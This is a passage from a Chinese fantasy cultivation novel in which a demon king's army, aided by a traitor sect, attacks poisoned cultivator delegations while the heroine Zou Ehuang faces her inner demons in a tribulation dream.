灭三门。 是的,那日妖族早朝上,久俊说得还是保守了。 它和何言知的计划其实是迅速封锁冀州边城,联合逍遥门,在前一日给这三门下毒消其修为,然后直接杀了,拿着这三门进入秘境的辨别灵牌进入秘境,而不是混在这三门队伍里。 至于为什么没有蓬莱和昆仑。 久俊是想过的,单被何言知制止了。 “蓬莱若来的是她…我不会让你动她。而昆仑,他们的辨别灵牌就是他们的本命剑,杀了也无用。” 久俊其实很好奇。 何言知这种人,口中淡淡的一个她究竟指的是谁。 此刻,被它紧盯的人面目仍是一派平静,瞧不见任何惧怕的情绪。 何言知:“你想复活前任妖王,你想推翻天道给你们久俊一族在赐予力量的同时,设下的寿不过百的禁锢,所以你选择信我。” “是。” 久俊瞳中血色不断翻涌,倨傲道:“那你便该知道,倘若这次孤去秘境,没有寻到你口中突破天道* 的方法,你会什么下场么?” 何言知轻轻笑了。 久俊盯着他的笑,一字一句,阴森森道:“孤会把你千杀万剐,且毁你金丹,焚你筋骨,再无复活门路。” 何言知闻言竟有些愣了,好像是在认真思索什么。许久,他温声回道:“不必如此。” “我这次若身死,再无复活之门。” 肉灵芝不常有,大乘亦不常有,但总归是有的,只要是有的,何言知用手里的星盘都能算到。 但是唯有一件事,他甚至都无需星盘便知。 这世间再无第二个邹娥皇。 何言知想,再无第二个邹娥皇拿他当朋友,捧着一颗傻乎乎的真心了。 所以,朋友这两字。 果真还是值千金呀。 一旁,久俊莫名其妙地看着捂着额头大笑的何言知,心里发毛道:这人莫不是变态,死了一只狗也能兴奋成这样。 次日。 昨夜苟长老之死,久俊并未掩饰风声,今日便是满街的沸沸扬扬。 众妖皆是妖心慌慌。 但无论底下的妖如何,妖界的天空还是一如往日的灿烂,耀眼的太阳高高悬挂在半空,万里无云,只有几声清脆的鸟叫。 久俊在阵前列兵。 战争。 它不知道为什么听了那人族的话走到了这一步。 它不是傻子。 至少久俊知道无论是婴鸟还是昨日的那条天狗,都算得上是真心在为妖族考虑的,反观那个叫何言知的人族,一看就是心有不轨的。 但这代年轻的妖王还是选择了信那个狡诈的人族。 是因为它想发动战争么? 是因为它就一定那么残暴,喜欢血腥么? 好吧,是有点,血腥和好战,是藏在每一个妖族血液里的本能。 但是不止这些。 在它传承的回忆里,它的父王出征那天就是这样的天气,灿烂的烈日,好像永恒孤独地挂在了天上。 而今日,它要出征了。 为了妖界。 这是说给妖民的话。 为了荣誉。 这是说给这些妖兵统领的话。 为了救活父王。 这是说服何言知的话。 为了成为比肩乃至超过前任久俊——也就是它自己生父,那个被众妖称之为最伟大的久俊的妖王。 这才是它最真实,最本能,最赤裸裸也是最丑陋的想法。 要胜。 “出发。” 久俊撕开了一道空间的口子,作为妖王,它自然有比肩大乘的能力。 与此同时的冀州边城,逍遥门,湛蓝的天慢慢地被另一种白光取代,高空之上,何言知伸出了手中的星盘。 星盘慢慢放大,但和那日封锁密州的漆黑不同,这一次的星盘只锁了逍遥门一处。 逍遥门禁地,凭空出现了一道漆黑的碎痕,几十个妖将率先从里面掉了出来。 接着是密密麻麻的妖挤了出来。 最后,当不大不小的禁地站满了排列整齐的妖兵妖将之际,久俊雪白的双翼终于从裂缝中飞出。 它薄唇微启,盯着一早候在禁地,准备为它们接风洗尘的逍遥门掌门,只说了两个字:“开杀——” 逍遥门掌门那张人脸慢慢变皱,成了一张丝织成的皮脱落到地上,宽大的掌门服饰也从身上脱落,黑漆漆的八只爪子从衣服里探出。 百面神君。 妖族潜伏在人族最深的那个卧底,一只会变脸的蜘蛛精。 此刻咧开嘴角,露出了参差不齐的蛛牙,发出了嘻嘻地鬼笑音。 “得令。” …… 蓬莱分到的院落里。 青度扬起头凝神看着天,不知为何她忽然觉得胳膊上的每一根汗毛都在震颤,就好像就好像梦回到了密州那日。 怎么会? 青度舒出一口气,慢慢走进邹娥皇安睡的隔间。 隔间开了一道小窗,只有些许风能透进来,姜印容此刻就坐在邹娥皇床边。 听见青度的脚步声微微一回头,点头示意。 这人已经一日没睡了,就守在这里。 说来也怪,青度想,她本来以为此人和邹二师伯关系并不好,毕竟在镇魂兽背上的时候,还是那日排练的时候,除了对戏,两人几乎未曾说过一句。 但是现在看来,倒是自己想差了。 哪有人对仇敌这样好的。 滴水未进,青度想,哪怕将来是鱼澹这个样子躺在床上,自己作为鱼澹唯一的徒弟,也不过就是如此伺候了。 青度一时不察,面对着姜印容,不小心把心里想的脱口而出,尴尬的笑了笑。 然而姜印容听后一笑并不生气,只是把邹娥皇额前几缕碎发理了又理。 然后,她坦诚地回青度道:“嗬,我确实是拿邹娥皇当师父看的,也确实,向她拜过师。” 哦? 青度想,没听过这俩人还是师徒啊。 “那年我刚被邹娥皇带上蓬莱,决心和前半生的种种都说再见,于是我换了名字,叫印容,印容印容,丢掉了王权帅印,才知真我容颜。” “那是我最开心的一段时光。” 姜印容说:“哪怕当时我没有腿,没有下属,没有追随者,甚至我只会一些笨拙的御冰术,连保命的手段都没有,我也是开心的。” “因为我有她,我睁眼闭眼,她都在身旁。” 青度想,这个她指的应该就是邹师伯了。 姜印容的声音放在女子里算得上是有磁性的,特别是现在她怕吵醒陷入渡劫神境的邹娥皇一样,声音愈来愈低,也愈来愈轻。 那双因为失明过一次,显得比旁人都要淡漠的眼,望向沉睡的人时,却无比地幽深。 “但是邹娥皇不开心。” 姜印容的声音放冷,“她带我出雪山,治好了我的眼,可她仍不开心,我知道,就像是她看她师妹那无法愈合的断臂一样,她看着我的腿觉得遗憾,觉得是自己能力不够,可是我不需要她这样。她不欠李千斛,也不欠我,我讨厌这样拧巴的人。” 姜印容:“可救我,带我走出雪山的,偏偏是这样的她。” “后来有一天,她将谦立延孙峰贰引上蓬莱岛,带到我面前,这两个人都是我曾经的下属,我对他们有救命之恩,于是邹娥皇以为,这样就能安顿好我了。” “在她觉得我被安顿好的那一日,她对我撒了一个弥天大谎。她对我说,我的腿能治好,只是她不愿意让我的腿好。我看着她眼底的心虚和演出来的色厉内荏,暗暗发笑,问她原因。” “她绞尽脑汁,编了个理由,说是怕我腿好了继续下山去搅动风云。然而其实我和她都心知肚明,这样荒唐的原因,或许旁人做得,或许那些伪君子也做得,但她从来不会去干涉别人的选择。” 青度心说会,郑力和那个奶娃娃方半子就是被师伯拐上道的,只是你姜印容不知道且滤镜太深了而已。 姜印容继续道:“真正的原因是,我的腿其实再也不能治好了,能接假肢但是无法再度修炼了,而如果接了假肢,我的御冰术靠的寒脉直通的就是断掉的位置,接了假肢,寒气出不来,我与废人何异。” “她骗了我,那是她第二次骗我,第一次是在雪洞里不肯告诉我我的腿没了。” “而这第二次,她宁愿当我心里的坏人,也不愿意让我难过,对,难过或者绝望,她其实了解我,她知道我会去选择没有腿的这条路,但她仍然为我担忧 ,她不想看见我面对轮椅的绝望,所以她宁愿我恨她她还没有担当,不敢给任何人当师父,总拿一柄拔不出的剑说事。” “你师伯总爱做些没有必要的事。” 姜印容顿了顿,好像又想到什么一样,很柔和地笑。 青度微怔。 她无法形容这个柔和的笑。 就是,明明很柔和,可里面好像又夹杂了一点微妙的恨意。 这样拖泥带水放不下的恨意,与姜印容整个人给青度的感觉都背道而驰。 然而就是因为这些微的恨意,才衬得此刻她的笑有别往日淡淡的,特殊而动人。 好像死物一瞬间活了过来。 “你们或许都觉得这个人像她背后的剑,古朴笨重,好像总是在吃无所谓的亏,可是在我眼里,”姜印容轻轻道:“在我眼里,她是飞鸟。” “不能在笼子里歌唱的飞鸟。” “无法驻足的飞鸟。” “她总在为不同的人唱歌,我们总以为自己是她命中的独一无二,甚至有时候会窃喜,或忽视她这样的好。” “其实不是的,我们所有人,都只是她生命的过客。” 第64章 这扯淡的命运 “师伯还没醒吗?” 青度回头, 只见越蓬盛推门而入,自顾自地搬了一个板凳坐下了。 “盯着我做什么?”他浑然不觉此刻气氛怪异,只呲牙一笑。 越蓬盛浑身上下生得最好的地方就是这口牙, 白的好像会发光。 还有他的嘴,比一般人大许多,笑的时候不止能露八颗牙,甚至能看见十六颗。 青度板着脸道:“谦立延孙峰贰呢, 你们不是一起出去的么,怎么现在你先回来了?” 越蓬盛满不在乎地扯了扯身上的彩色祝服,答道:“他们一个用耳朵听, 一个用眼睛看, 搜集逍遥门消息够了,我过去只是纯添乱。” 青度眼神微闪。 其实越蓬盛一直估错了一件事。 他总以为当初蓬莱不选他当这代大师兄,是因为他比青度修为还差一点, 其实不是的, 修为之上的差距不过是一两年就可以弥补的缺口,主要是性子。 越蓬盛主修的是巫祝之力, 向大地祈福, 向苍天求雨,非至性至烈者不能。从好的一面来说,越蓬盛其人肆意横行,这样的性子恰恰成全了他的天赋。从不好的方面来说么,越蓬盛太散漫、跳脱了, 像迸溅的雨点,琢磨不透轨迹。 再说的准确一点, 这样的人是一匹独狼。 你看他爱笑活泼得紧,似乎是几人里最没有架子的一个, 但其实他做什么事情都不会和你商量,只会擅自做决定,比如此刻,他觉得他没用,连事先知会一声都不曾就回来了。 青度:“我叫你去,是让你给他们俩打掩护的算了,你既然回来了,那你在这里看着吧,我出去看看。” 她前脚踏出院门,后脚越蓬盛就收了脸上的散漫。 他对姜印容说:“她以前不会这样。” 姜印容挑眉,忽然觉得很有意思,问:“她?” 越蓬盛道:“青度。” 他顿了顿,又皮痒痒地贱笑了,“青度以前没有这样的好性子,我若敢这么和她说话,必要被打的爹妈不认识。” 姜印容平静陈述道:“她并没有变。” “她如果金丹还在,此时你绝不会坐在椅子上。” 只是如今青度金丹不在了,又懒得和越蓬盛多费口舌,索性自己去了。 越蓬盛于是哑了音。 他满脸涨红,转了话题,将视线落在面容平静的邹娥皇脸上,盯着那忽明忽暗的红色火焰,面露羡慕道:“这就是渡劫神境么,做了一场梦就过去了,醒来之后,便可乘风化雨,撕裂空间,半步成神。” 姜印容轻笑了声,没反驳。 她看着邹娥皇在梦中不断蹙起的眉目,想,邹娥皇,这里竟还有蠢货羡慕你。 那边越蓬盛却忽然来了劲了,问道:“渡劫神境,我听人说和心魔劫差不多,会在梦里梦一些执念,魔障,你说邹师伯的魔障,会不会是昆仑剑皇,天下第一,年少时扫了她剑心的那个人?” 关于邹娥皇被折的剑骨,知者甚少,而关于她的剑心,则因为自带风云的宴霜寒,从某一种程度上来说,哪怕不知道邹娥皇是谁,也知道一见霜寒一灭剑心的雅故。 所以越蓬盛的疑问,看似是刻板印象,其实有理有据。 姜印容牵着邹娥皇的手。 那双手十年前她握着的时候,是对方带她走出雪山,她当时看不清,只能依赖着这双手的牵引。 如今姜印容终于又可以小心翼翼地牵着这双手,却只能在对方熟睡的时候。 她和她之间,所谓温情脉脉的时刻,总是要有个人闭眼的。 “不会。渡劫神境可看做心魔劫,是一个人对自己内心最本能的恐惧的折射。你哪怕不信你师伯是个顶天立地的英雄,也该信,一个能迎来渡劫神境的人,她的心魔,绝不会是旁人,只会是她自己,苍生,天下。” 姜印容轻声呢喃:“这几千年,要过渡劫神境有千人耳,然而大乘,不过只有几个人罢了。” 邹娥皇。 拜托你,所以拜托你。 邹娥皇,请你一定要渡过去。 院外,青度略微走了几步,鼻尖却忽然嗅到了一股腥气。 妖兽的腥气。 青度寒眉一笼,几步远的位置,谦立延与孙峰贰彼此搀扶,踉踉跄跄地靠近——身后是一片冲天血光,而万里之上的高空却仍是白茫茫的一片。 分明是亮的,却好像没有光透进来。 …… 红光如血。 这是哪里。 邹娥皇愣愣地抬起头,四周都是一片灰白色的景象,她慢慢拔腿向前,这个时候才发现天地在下雪,漫天遍野都是雪,白茫茫的雪,厚厚的雪层沾湿了她的鞋。 而天际则是一片蔓延的红光。 不详的红光。 邹娥皇下意识地就要反手摸剑,这个时候却突然发现自己后背空荡荡的,什么都没有。 剑呢? “嗖——”地一声,熟悉的剑光擦过邹娥皇的耳侧,她怔怔回头,看见了自己熟悉的那把厚黑剑,但是剑光掠影,它并没有向她飞来,而只是毫不留情地擦肩而过。 投入了一片虚影里。 此刻四面八方,又不约而同地浮现出无数把她的本命剑,从她身体穿插而过,接着大摇大摆地飞出。 不疼,一点感觉都没有。 邹娥皇咦了一声。 她好像知道她现在在哪里了。 幻境。 通常情况下,幻境分为三种。 一种是幻术,幻阵也好、幻符也罢,还有幻咒、幻器林林总总,不一概而论,为了方便,都统一叫做幻术。 一种是生死一线,类似于常说的走马灯,是临死之前所有人眼前都会过一遍的境像,传说有天赋大使命者,能从走马灯里找到时间的缺口,重返过去。 还有最后一种,就是渡劫神境。 是从合道突破到大乘之前,需要跨过的最后一个小境界。在这一境界下,除了要遭八十一道天雷劈之外,就是要跨过幻境的考验。 邹娥皇想,首先排除生死一线,这不是走马灯。 她缓缓环顾四周一圈后,又低头看着自己的脚,想,这不是幻术,幻术虽然变态,但还没有变态到连她今天穿的鞋都要脱掉的地步。 现在她双脚赤溜溜的,踏在这冰天雪地里,且不觉得冷,如果这真的是幻术的话,想要麻痹邹娥皇,最起码要容有衡尹月那样的修为。 那就只剩下最后一个可能了。 邹娥皇吐出一口白气。 渡劫神境。 她第一次碰见这玩意,是在一千年前,剿魔行动里。 在那场行动里,她第一次杀了人。 如果堕魔的魔修,也能算人的话,那确实是邹娥皇两辈子,第一次有主观意识地杀人。 当时剿魔行动刚开始,邹娥皇混在散修的队伍里,队伍很不幸,一上路就遇见了一个化神期魔将。 在那魔将即将杀了一名散修的时候,邹娥皇动了,她捡起地上的一根树枝,下意识地使出了当时正在练的凌云剑诀,唰地一下,捅穿了魔修的心脏。 所有人都跟邹娥皇说,魔修残忍非人,失了智和魔物没有什么两样,但是他们没跟她说过——魔修流出来的也是血,和人一样的血,只是颜色深了。 黑红色的血,顺着树枝流在她手臂上,黏黏糊糊的。 下一瞬,邹娥皇耳边传来了震耳欲聋的欢呼声,是躲过一劫的散修抱着她的手,不住地说谢谢,而邹娥皇说没事。 真没事。 如果不是邹娥皇最后路过那魔修的尸体的时候,偶然一瞥,发现对方还在头上别了朵黄色的小花,她当时根本没意识到她杀的是一个有智慧的群体。 但也正是这一眼。 剿魔行动后,邹娥皇跑回了蓬莱岛,吐了个昏天暗地,闭关几年而不出。 在那几年里,她就曾经历过一次渡劫神境。 只是那次渡劫神境她逃跑了。 还记得上一次即将踏入渡劫神境的道口前的幻境里,邹娥皇看见的不是这样白茫茫一片的雪,是酷暑,是干涸的土地,是风沙沉沉,而她背上的剑也在。 那柄黑剑,沉默地存在着。 现在,邹娥皇哈出了一口寒气。 是福不是祸,是祸躲不过。 当初她还算是大乘修为的时候,摸到了渡劫神境的边,于是拔腿就跑。如今修为尽散,不过是个化神,渡劫神境这东西来了,是躲也躲不过了。 在蓬莱,无论你是练气、筑基还是化神、合道,乃至大乘,都有相应对应的境界讲解,以防走上弯路,但却没有任何一节课关乎渡劫神境的。 好像从古至今,就没有人能清楚地讲明白,这个卡在合道和大乘之间的小境界,到底是什么。 因为每个人的渡劫神境都是不一样的。 好在众人嘴里,渡劫神境倒是有一样很统一,那就是心魔。 渡劫神境是这辈子大大小小心魔的集合体,所以在找到真正的道口前,一定会先遇见自己的心魔。 邹娥皇迎着雪,漫无目的地向前走。 雪地里,忽然又有一行参差不齐的脚步跟在她身侧,邹娥皇慢慢回头,却看见了过去自己的虚影。 心魔这就来了。 唯见那虚影化作腰间缠柳条的姑娘,举着厚重的笨剑,身姿却灵动轻盈如飞燕—— 这是天骄宴前的她。 没有灵根,无法修炼,只会日复一日的练剑。 那个时候,邹娥皇最羡慕的人是她的大师兄。 这样的心魔,叫嫉妒。 邹娥皇闭眼,如果心魔也会按时间顺序出现,那么下一个节点,毋庸置疑,就是那场丢脸至极的天骄宴了。 不知何时起,白茫茫的雪里,忽然传来了一阵瘆人的嬉笑。 舞剑的虚影慢慢佝住了腰,手里的厚剑不知何时起已经撤了,少女时期的邹娥皇满身都是伤,跌在地上,眼里充斥着恼怒和惊恐,盯着半空。 邹娥皇面无表情地看着这道虚影。 还是来了。 这是天骄宴上的她。 彼时年轻气盛,以为这次终于成为了世界的主人公,却才发现天才如同过江之卿,于是初识世界的代价,就是碎了剑心。 这样的心魔,叫骄傲。 接下来,邹娥皇看见—— 平生第一次给人下跪的自己;亲眼见证了朋友死亡的自己;东海龙宫夜闯十二次的自己;练剑练了无数次仍拔不出本命剑的自己;被骗了的自己 痛苦,失望,难过,纷杂的情绪连续展现在对面那张和她生得一样的虚影上,瘆人的嬉笑声愈来愈高,暗处的东西也终于显现出来,原来是那只一直被邹娥皇带在袖子里的石妖的魂魄,这次跟着一块跳进了她的渡劫神境。 就说这东西当初还没死绝,剩了一口气跟着她。 邹娥皇叹了口气。 “我看见你的心魔了嗬嗬原来你竟是个这么胆小的人——” 石妖魂魄无形,鬼魅的声音充斥在邹娥皇耳侧。 酥麻地像有人吹了口气。 “为什么他们嘲笑你、贬低你、轻视你,你却不杀他们?” “你明明有一剑,为何迟迟都不肯动,直到最近才借着剑脉提了起来?” “是因为你不想伤人么,恐怕不是吧,是因为你是个懦夫,你是个胆小鬼,你根本不该学剑,你根本不配学剑,你的剑不认你,五千年前就不认你,五千年后,它不过是不得已才被你驱使,你还当它真的认可你了——” “邹娥皇,承认吧,你根本不敢杀人。” “当年不过是借助天火,你才得以灭了谢家,没有天火你根本不敢伤人,杀我不过借助那些个枉死的人,没有他们的推动,你敢为你自己的情绪拔剑么?你敢为自己杀人杀妖么?” “邹娥皇,你不敢的。” 谁说我不敢? 邹娥皇想,我胆子大的很。 可她的脚却像生了重重的铅,定在了地上,或是这幻境里的雪越来越厚,堆积了她半个腿肚,竟无论如何也动不了了。 邹娥皇她浑身僵直。 “你若敢,就不会在明明没有天火的情况下,还要画地为牢,就像你的剑,永远都拘着,拘着算什么好剑?” 石妖讥讽的笑意愈来愈尖。 画地为牢,什么画地为牢。 邹娥皇低头,才发现她右手的双指不知何时起已经在雪地里绕着周身花了一个圆圆的圈,那个素来用来保护别人的避魔圈,这个时候竟然像囚禁住她自己的绳链。 邹娥皇眼睫微闪,忽然又是叹了口气。 险些中计。 “你说错了。” 她垂落的右手抬起,双指对着半空中漂浮的石妖魂魄。 那双指仿佛化作一柄刚直的剑,漫不经心地往下一划。 遇神杀神,遇佛杀佛。 石妖的眼珠不断睁大,然后在下一刻,它看见一股无形的气朝他席卷而来。 在这样的气浪下,它无形的魂魄居然也被打了个粉碎。 “道本就是用来约束修真者的,若无画地为牢,就不会有万紫千红。” “从来没有人给我画地为牢。” “我也从未给自己画地为牢。” “你以为我怕杀人,以前我也以为我怕杀人,但是现在我发现,杀你,我并不怕的,我怕的不是杀人,也不是死亡” 邹娥皇的视线产生了一瞬间的迷茫。 这一刻石妖已经听不见她在说什么了。 “我怕的是” “谁给我杀人的资格,谁给我的权利让我对别人的生死指手画脚——我笃定该杀的人,难道就一定该杀么?” 她又想起了别在那魔修身上俏皮可爱的小黄花。 这一刻剑骨成。 飙风卷雪,纷纷扬扬地刮起,又沸沸扬扬地落下,邹娥皇拔腿走出,双指仍有几分残余的热力。 她心里知道,这一次石妖,是真的死了。 在她的渡劫神境里碎了,那可就是真的碎了。 而现在,邹娥皇面前雪白的幻境褪去,只显露出了一条路。 那条路笔直,毫无边际,但是邹娥皇比谁都清楚地知道,这条路的尽头,在天际。 就在刚刚的心魔缠绕里,她被迫重新回顾了自己的一生。 她本异世之人,穿书而来此界。 她要求的道,是己道。 要行的剑,是问心。 要做的事,是救世。 所以她的渡劫神境,最后一劫,直通此界之上,直面此界天道。 无处可避。 从多年前,邹娥皇徒步而行苍云山顶,被道祖收至座下起,或者说从一开始她穿越至此事起,她唯一的宿命,五千年的纠结与汲汲营生早就是命中注定。 邹娥皇想。 这扯淡的命运。 碎了又生的剑心支着邹娥皇的那口气,折了又起的剑骨撑着邹娥皇的魂,暗暗发烫的剑脉通着邹娥皇的双臂。 这一路来,大雪越下越厚,哪怕是幻境,邹娥皇竟都觉得有些许地冷了。 …… 青度微微仰头,她盯着无风无云的高空,耳边却传来了几阵和这平静的天空背道而驰的雷鸣声。青度眉心一跳,密州之行的惨痛回忆还在昨日,于是她立刻反应过来了那不对劲的地方。 拨开通灵玉往蓬莱传信,不出所料地毫无动静。 青度面无表情,这该死的熟悉。 此刻笼罩在逍遥门之上的,是星盘。 遮云蔽日,掩盖天机的星盘。 而雷声一阵又一阵,声势浩大,乃青度闻所未闻,她脑海中此刻竟只有一个猜测,是邹师伯的渡劫神境的八十一道天雷—— 阴差阳错,居然全劈在了这敌友不明的星盘上。 也不知算不算喜事。 “出什么事了?” 谦立延咳出了一口血气,青度这个时候才发现那号称目视千里的双眼,如今已经毁了一只。 “妖,一群妖。” 孙峰贰低声道,“我听见了一群妖的叫喊,谦立延看见了妖王久俊,还有一群至少是大妖级的妖兵妖将,就在逍遥门的禁地,它们嘴里喊着——” 孙峰贰话音未落,西边就传来了妖兽的嚎叫与人类的惨叫替他回答。 “杀!” 这声模糊的杀意与惊天动地的响声从西边一并传来的时候,青度的眼睛已经木了。 甚至都不需要孙峰贰再补充些什么,她就迅速知道现在发生了什么。 二十年,是一个说短不短,说长不长的时间,对于修真界大部分人来说,其实不过也就是须臾一弹指。 甚至上一次妖族与人族的战争,仿佛还在昨日。 金丹尽废的少女提起称手的坎天剑,沉着道:“你们回去,让越蓬盛不计代价守住院子,直到邹师伯醒来。若越蓬盛不愿意,就” 青度撕下袖子上炯炯有神的镇魂兽袖章,交给谦立延。 “就请把这个给他。” 谦立延没问为何青度如此笃定越蓬盛有能力守住院子,正如他也不好奇“不计代价”里的代价,他只是捏住了手里的袖章,被毁掉的右眼微眨,道了声好。 第65章 我于人前落一剑 逍遥门作为一个门派。 它的规模显然是有的。 也正是因为如此, 当一片杀声从西边传来的时候,意味着战场其实离青度不算太远了。 青度握着手里的剑,冷静地想, 伴着杀意的惊天声响很像什么东西爆炸开了,不过应该不是什么爆炸符,因为五大仙门的弟子这次参与幻海天秘境,连传送阵都不许走, 各种法宝也只准带本命的。 是什么? 青度谨慎地隐藏着身形,朝着声音的方向探去,下一瞬, 却先看见了几柄断剑, 一截一截地倒插在草丛里。 几柄断剑上,都刻着昆仑的章。 青度心尖一跳。 昨日几人发现逍遥门的不对劲,本来要找其余门派报信, 找了一圈却没找到, 最后为了不打草惊蛇,便收住了手。 也就是说—— 青度从草丛里把那几截昆仑的断剑抽出来。 昆仑的人很有可能都碰过一点逍遥门提供的东西, 而那东西无色无味, 却可以麻痹人的灵脉。 情况不好的话,中了毒的昆仑众人遇上有谋而动的妖界众人,就是肉包子打狗——有去无回。 微晃的草丛里,十几只粘稠的蜘蛛丝朝着她迸出。 “嘘——” 青度刚要躲开,却忽然被人捂嘴按在地上, 她蹙眉,只看见一角白色的剑袍和眼熟的双剑。 昆仑的曲轻云。 还好, 还好。 他们一个个身上灵力充沛,并没有什么中毒的异像。 “刚刚的爆炸声, 是怎么回事?”青度问道,她一个侧翻,躲过了身侧又溅出的致命一击,却只听得曲轻云僵持一瞬,哀声道:“是天机子长老自爆了。” 青度一愣,来不及回忆刚刚自己在草丛里见到断成两截的剑里有没有一把西吹雪,就见另一个方向,何九州纤长轻浮的眉目此刻寒寒笼起朝这边望来,仿佛知道她在想什么一般道:“不用想了,他的东西都在我这里,剑也好,身份灵牌也罢,这老头把他在昆仑的二两私房钱都翻给我了。” 明明刚刚丧师的人是何九州,但现在看起来最镇定的似乎也是他,天煞孤星何九州如今果真应了这天煞孤星四个字。 三人说话的功夫,身侧的妖尸已经堆了一圈。 可是杀不尽。 虫妖是这天下最好杀的妖,也是这天下最难赶尽杀绝的一族,因为数量。 放眼望去,青度在断剑之外,又看见了晶莹的虫翼,有的还活着一扇一扇的,有的已经死了覆在了尸首上。 虫翼上有薄薄的一层银白色的粉。 “你们怎么发现逍遥门有问题的?” 青度怔怔开口,她这个时候才发现她的嗓子有些干。 曲轻云瞥了她一眼,双剑势如流星一个回旋,又倒了一片虫妖,“你们怎么发现的?” “有人误食后就倒地上了。” 青度想起至今还昏迷不醒的邹娥皇,声音有些许的沉重。 曲轻云苦笑,“我们和你们一样,只是我们运气不好。” “以身试毒的那个人是天机子长老。” 何九州面色灰败如土,低声道:“那老头向来嘴馋,我们都劝他说这逍遥门不知道是个什么东西,让他不要轻举妄动,结果他喝那小酒喝的比谁都快,说什么人生得意须尽欢,靠啊。” 他这句话最后的那声靠里面带了点哭腔。 “喝完之后跟我们说这酒有毒,让我们都不要动,自己却捧着那坛酒说喝都喝了不妨喝个尽兴,这不是有病吗?我们说要不要给昆仑发个消息,那老头摆了摆手,说在幻海天路上就向门派里发求救消息,按十四盟的规矩来看,要直接被取消比赛获胜资格,他说昆仑丢不起这个人,又说难不成其余几个门派不会往回传信么。” 幻海天秘境因为其地位的特殊性,除了不允许参与秘境者走传送阵之外,也不允许中途向门派求救。 违者便取消名次。 不过一般小门派并不会在意这个,毕竟是取消名次又不是取消参赛资格。 但是对于大门派来说,名次二字如同脸面,比分配到他们的名额还要重要。 “这下可好了,第二日那群逍遥贼人不装了,带着那妖王久俊就要将我们赶尽杀绝,那老头带我们步步后退,最后到了这样的境地,又决心一个人逞英雄,去拖走那妖王,留着这一群小妖给我们了。” 几人面面相觑。 青度脸色难看,终于开口道:“我们运气比你们更不好,邹师伯昨日喝了口茶后直接晕倒。” 青度顿了顿,“你们昆仑丢不起的人,我们蓬莱也丢不起。” 言外之意便是昨日,她们也没有因为逍遥门一事就放弃幻海天名次。 这句话一落下,曲轻云连最后的笑都挤不出来了,他喃喃道:“来这里的都是五大仙门,在没确定逍遥门到底是在搞什么鬼,是不是十四盟为了幻海天的考验路上设下埋伏之前,有谁愿意提前认输。” 这也就导致了* ,现在的他们,称得上是孤立无援。 青度后退三步,脚下却不小心踩上了一端滑溜溜的东西,险些跌倒。 何九州:“那是一柱香前我师父去战久俊前丢出的酒壶。” 他这个人本来就话多,如今心里难受,话便跟一筐一筐地往外冒,手里的剑也一下比一下有力,好像有源源不断的灵气撑着他。 “久俊,那可是久俊,正常人第一反应不都是逃么,可是这老头傻,分明毒素未清,提着一支笔却就去引开了妖王,说他师兄昔年能一剑杀了这玩意,他也能——” 何九州又哭又笑,素来拿家稳稳的手,虎口崩出一道血痕,“可是他师兄是剑皇,而他天机子是什么、天人五衰、止步合道,这次去幻海天是为了找续命药的,他不知道么?” “他以为这样很帅么,没走两步远,整个人都炸成了血雾,好,好一个昆仑死战不退,可他连剑都放在我这里,他人又去哪了——” 死战不退,剑在人在。 这是昆仑最有名的开山祖训,就像是蓬莱那句我心应我,万死不辞。 然而大多数的蓬莱人,往往只能做到后四个字万死不辞;昆仑和蓬莱则正好相反,他们只能做到前四个字,死战不退。 这群拿剑当老婆爱的剑修们,是不敢让剑陪着他们一起死的。 所以当初那把清亮如雪长虹贯日的西吹雪,并没有随着天机子的消亡而消亡,如今正在何九州的手上,把长着复眼的虫妖捅成了一个又一个串串。 青度和昆仑众人奋战之时,一声妖兽的吼声从另一侧传出,细小的风汇聚在一起成型,最后从东边起,震碎了遮挡众人的一片丛林。 此刻四周都清明了,和昨日有些巧合的相同,墨庄、鬼谷、蓬莱、昆仑,只少了个七彩阁,多了一群妖。 “靠。” 曲轻云咬牙暗骂了一句不好,却看旁边的青度战意节节攀升,身上的坎天剑已经演化出了一招太极式的模样。 因为这丫已经看见了—— 那个在群妖中间那个双翼雪白,捂着侧腰的妖王,就是那个上次掏她金丹的久俊! 何九州的眼珠则更迸出了吓人的血丝,他盯着久俊身上的血窟窿,就像是看见了他的师父抱着久俊炸开的模样。 所谓仇人相见分外眼红,不过如此了。 但是久俊和他们都不一样,久俊立在众妖之中,看着对它虎视眈眈的众修仙者,甚至还能笑出来。 巨大的獠牙从他的口中探出,裂成两瓣的唇用一种诡异的弧度撑开。 “归顺妖族信神,投降者,可不杀。” 久俊歪头,微微一笑,除了腰侧的窟窿外,它身上并没有什么其余的伤,就算有,也是马上就要愈合的小伤。 可以见得,天机子之前的自爆,还是很有攻击力的。 “什么狗屁话!” 只听得一声耳熟的冷笑,从坍塌的墙体后传出,硝烟弥散里,几个婀娜娉婷的身影从中缓缓走出。 正在打斗的肖贵微微失神,手里变幻莫测的阵法也在一瞬间露出了破绽,险些叫对面的蜘蛛精给他捅成了个串。 “小妖罢了,连姑奶奶活的的零头都没碰到,居然也在这里谈什么聆听天意的事了,呵呵,我呸!” 尹婉对着久俊挖苦道:“妖王阁下,须知这世上没有什么神,有的只是装神弄鬼。不过你们妖族毕竟根基浅,占据四州不过才二十年光景,信些离谱的假话,也正常。” 在修真界这么多年,尹婉自觉吃过的盐比这只二十出头的久俊吃过的饭都多——尽管久俊是一种有记忆传承的妖。 神,别提神了。 这世上从甚至无人能准确地说清天道。 从创世伊始的降世书起,到蓬莱道祖百年一次的论道大会,再到那日密州乱,蓬莱岛上众仙君齐列一堂,听道祖叹这一声天道乱了。 却还是没人能准确地说出,这抽象的天道到底是什么。 只有只言片语的不详,从通过渡劫神境的几位大乘里面偶然流露。 人们对于天道的探索,似乎从第一位学会引气入体的修仙者开始,到如今,永远都是一个模糊的概念。 若问街上一个乞儿,什么是天道,那这个乞儿或许会睁大眼睛:“谁赏我吃饱饭谁就是我的天老爷。” 而尹婉,这个七彩阁的长老,修仙者里的佼佼者,参加过剿魔行动、上一次妖族入侵,那些个被记在修仙史记上惊心动魄的大事的人,对于天道的了解,也不比乞儿多个几分。 什么顺了她的意,什么就是天道。 可在那日,密州那日,蓬莱岛上聚众开的那场会上,在座不乏大乘半步飞升者,一个不过刚刚勾上合道边的尹婉,站在她们阁主身侧——对天道理解不过是顺我者昌四个字的尹婉,居然是除了宴霜寒第二个懂云无心说的命的人。 因为尹婉虽然不懂天。 可尹婉懂命。 以命搏命,逆天改命这就是修真者的命。 信什么神? 有这功夫还不如信自己。 只是说来好笑,修真界大部分的人其实不听这个,他们信听天由命,信勤勤恳恳的修炼,终有一天会划破虚空,信这世界上一分耕耘一分收获。 哪有这么好的事。 